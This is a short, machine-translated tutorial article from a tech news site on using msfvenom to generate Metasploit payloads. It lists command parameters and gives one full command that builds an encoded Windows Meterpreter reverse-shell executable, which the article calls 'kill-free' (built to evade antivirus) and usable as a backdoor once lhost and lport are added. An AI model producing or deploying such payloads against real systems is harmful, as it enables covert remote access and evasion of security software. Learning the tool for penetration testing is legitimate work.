Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Msfvenom learning

2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

There are still many teaching videos and materials that use the previous kali version. With the update, some commands are not adapted to the latest kali. (also a person who has fallen into a trap.)

Msfvenom integrates msfpayload and msfencode, and removes the latter two after 2015. It is not possible to follow some tutorials and then lose two commands.

Msfvenom important parameters: (you can use msfvenom-h to view all parameters)

-p payload settin

-e Encoding Settings

-a system structure, default x86

-s payload maximum size

-I number of coding

-f generate file format

Several other commands:

Platform View: msfvenom-help-platforms

Specify the target platform:-- platform xxx

Format view: msfvenom-- help-formats

Check the payload settings: msfvenom-p-payload-options (you can find a lot of details such as the platform that the payload is suitable for)

Note: if you want to create a load of x64, use-a x64

Correctly generate kill-free files:

Msfvenom-p windows/meterpreter/reverse_tcp-e x86/shikata_ga_nai-I 10-f exe > 1.exe

If you need to generate a backdoor file, you need to add lhost (local host ip) and lport (local host open port) parameters.

Reference article: https://www.hackers-arise.com/single-post/2017/07/31/Metasploit-Basics-Part-9-Using-msfvenom-to-Create-Custom-Payloads

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report